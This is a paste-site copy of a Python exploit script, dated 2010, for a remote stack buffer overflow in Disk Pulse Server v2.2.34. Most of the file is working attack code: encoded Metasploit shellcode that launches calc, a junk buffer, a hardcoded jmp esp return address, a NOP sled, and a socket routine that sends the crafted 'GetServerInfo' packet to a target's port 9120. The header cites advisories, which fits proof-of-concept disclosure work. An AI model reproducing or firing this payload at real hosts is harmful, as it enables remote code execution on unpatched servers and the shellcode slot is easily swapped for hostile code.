· 6 years ago · Jun 05, 2019, 01:44 PM
1#!/usr/bin/python
2
3# Exploit Title: Disk Pulse Server v2.2.34 Remote Buffer Overflow Exploit
4# Date: 10/11/2010
5# Author: xsploited security
6# URL: http://www.x-sploited.com/
7# Contact: xsploitedsecurity [at] gmail.com
8# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v2.2.34.exe
9# Version: v2.2.34
10# Tested on: Windows XP SP3 (Physical machine)
11# CVE : N/A
12
13# Vulnerability Information:
14# A vulnerability exists in the way Disk Pulse Server v2.2.34 process a remote clients "GetServerInfo" request.
15# The vulnerability is caused due to a boundary error in libpal.dll when handling network messages and can be exploited
16# to cause a stack-based buffer overflow via a specially crafted packet sent to TCP port 9120.
17
18# Other notes:
19# It appears the vendor likes using the same server code (that was effected by my previous PoC: http://www.exploit-db.com/exploits/15231)
20# for everything client/server related. It is also safe to say that the client(s) are most likely effected by bugs as well.
21
22# Other possibly affected versions:
23# Disk Pulse Server <= 1.7.x
24
25# References:
26# http://secunia.com/advisories/41748/
27# http://www.exploit-db.com/exploits/15231
28# http://securityreason.com/exploitalert/9247
29
30# Shouts:
31# kAoTiX, MAX, CorelanCoder, exploit-db (of course), all other security crews and sites.
32
33import sys,socket
34
35if len(sys.argv) != 2:
36 print "[!] Usage: ./diskpulse.py <Target IP>"
37 sys.exit(1)
38
39about = "=================================================\n"
40about += "Title: Disk Pulse Server v2.2.34 Remote BOF PoC\n"
41about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n"
42about += "Contact: xsploitedsecurity [at] gmail.com\n"
43about += "=================================================\n"
44print about
45
46host = sys.argv[1]
47port = 9120 #default server port
48
49# windows/exec - 218 bytes / http://www.metasploit.com
50# Encoder: x86/fnstenv_mov / EXITFUNC=seh, CMD=calc
51calc = ("\x6a\x31\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97\x8c"
52"\x8a\x10\x83\xeb\xfc\xe2\xf4\x6b\x64\x03\x10\x97\x8c\xea\x99"
53"\x72\xbd\x58\x74\x1c\xde\xba\x9b\xc5\x80\x01\x42\x83\x07\xf8"
54"\x38\x98\x3b\xc0\x36\xa6\x73\xbb\xd0\x3b\xb0\xeb\x6c\x95\xa0"
55"\xaa\xd1\x58\x81\x8b\xd7\x75\x7c\xd8\x47\x1c\xde\x9a\x9b\xd5"
56"\xb0\x8b\xc0\x1c\xcc\xf2\x95\x57\xf8\xc0\x11\x47\xdc\x01\x58"
57"\x8f\x07\xd2\x30\x96\x5f\x69\x2c\xde\x07\xbe\x9b\x96\x5a\xbb"
58"\xef\xa6\x4c\x26\xd1\x58\x81\x8b\xd7\xaf\x6c\xff\xe4\x94\xf1"
59"\x72\x2b\xea\xa8\xff\xf2\xcf\x07\xd2\x34\x96\x5f\xec\x9b\x9b"
60"\xc7\x01\x48\x8b\x8d\x59\x9b\x93\x07\x8b\xc0\x1e\xc8\xae\x34"
61"\xcc\xd7\xeb\x49\xcd\xdd\x75\xf0\xcf\xd3\xd0\x9b\x85\x67\x0c"
62"\x4d\xfd\x8d\x07\x95\x2e\x8c\x8a\x10\xc7\xe4\xbb\x9b\xf8\x0b"
63"\x75\xc5\x2c\x72\x84\x22\x7d\xe4\x2c\x85\x2a\x11\x75\xc5\xab"
64"\x8a\xf6\x1a\x17\x77\x6a\x65\x92\x37\xcd\x03\xe5\xe3\xe0\x10"
65"\xc4\x73\x5f\x73\xf6\xe0\xe9\x10");
66
67# Begin payload buffer:
68
69packet_header = ("\x47\x65\x74\x53\x65\x72\x76\x65\x72\x49\x6E\x66\x6F\x02"); # ASCII = "GetServerInfo."
70
71junk = "\x41" * 256; #256 byte junk buffer to reach eip
72eip = "\xFB\xF8\xAB\x71"; #jmp esp (via ws2_32.dll)
73nops = "\x90" * 12; #small nop sled
74
75# packet structure:
76# [header][junk][eip][nops][shellcode][nops][nops]
77packet = packet_header + junk + eip + nops + calc + nops + nops;
78
79print "[*] Connecting to " + host + "...\r"
80s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
81s.connect((host,port))
82print "[*] Connected, Sending payload\r"
83s.send(packet + "\r\n")
84print "[*] Payload sent successfully"
85print "[*] Check the results\r"
86s.close()